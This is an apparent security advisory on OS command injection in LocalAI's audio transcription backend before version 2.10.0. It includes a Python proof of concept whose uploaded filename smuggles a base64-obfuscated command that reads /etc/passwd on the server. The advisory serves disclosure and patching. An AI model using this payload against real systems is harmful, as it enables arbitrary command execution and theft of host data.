OS Command Injection Affecting github.com/go-skynet/localai/backend/go/transcribe package, versions <2.10.0

Affected versions of this package are vulnerable to OS Command Injection due to insufficient sanitization of user-supplied filenames before being passed to ffmpeg via a shell command in the audioToWav function. An attacker can execute arbitrary commands on the host system by injecting malicious commands into the filenames. This could lead to unauthorized access, data breaches, or other detrimental impacts, depending on the privileges of the process executing the code.

import requests

files = {
    'file': ('a;$(echo Y2F0IC9ldGMvcGFzc3dkCg==|base64 -d);', open('gb1.ogg','rb').read()),
    'model':(None, 'whisper'),
}


response = requests.post('http://localhost:8080/v1/audio/transcriptions', files=files)

print(response.text)

• GitHub Commit